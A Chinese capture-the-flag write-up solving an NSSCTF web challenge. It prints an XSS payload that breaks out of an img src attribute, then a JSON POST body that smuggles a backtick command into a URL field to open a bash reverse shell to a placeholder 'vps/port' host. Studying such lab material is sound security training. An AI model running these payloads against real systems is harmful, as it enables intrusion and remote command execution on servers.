2025-8-19-每日一题
[NSSRound#18 Basic]门酱想玩什么呢?
这是一个xss的题目
打开环境会跳转到/king.php,发现有一个输入框,不知道是什么用的

再点击评论区,发现让我想起了xss,看看是否存在xss
又看到查看提示文件 /nssctfroundSpring.php
点击查看代码
<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}
规则解读:
评论内容按空格分割。
第一部分($contentLines[0])必须是一个以 http:// 或 https:// 开头的URL。
这个URL必须匹配正则模式:^https?:\/\/[^\/]+\/\S+\.png$(即域名后直接跟路径且以 .png 结尾)。
评论内容的最后一部分必须是字符串 /png。
如果满足条件,系统会将URL放入 标签的 src 属性中:
。
构造XSS Payload:
<script>document.location="https://ymzx.qq.com"</script>
-->
http://"><script>document.location="https://ymzx.qq.com"</script>.png /png
-->
<img class="content" src="http://"><script>document.location="https://ymzx.qq.com"</script>.png">

之后抓包

输入后拼接的完整url
http://node4.anna.nssctf.cn:28458/words/?title=MQ%3D%3D&content=JTNDaW1nJTIwY2xhc3MlM0QlMjJjb250ZW50JTIyJTIwc3JjJTNEJTIyaHR0cCUzQSUyRiUyRiUyMiUzRSUzQ3NjcmlwdCUzRWRvY3VtZW50LmxvY2F0aW9uJTNEJTIyaHR0cHMlM0ElMkYlMkZ5bXp4LnFxLmNvbSUyMiUzQyUyRnNjcmlwdCUzRS5wbmclMjIlM0U%3D
但这里好像有点问题,我们换种方法,
后端存在判断:“门酱说:为了安全,我只要我自己网站的链接”一般这种功能点如果过滤不严格可能会存在注入;在后面用分号分隔,反引号执行命令似乎没有报错;
payload:
post
点击查看代码
{"url":"http://node4.anna.nssctf.cn:28462/;`/bin/bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'`"}



拿到flag

浙公网安备 33010602011771号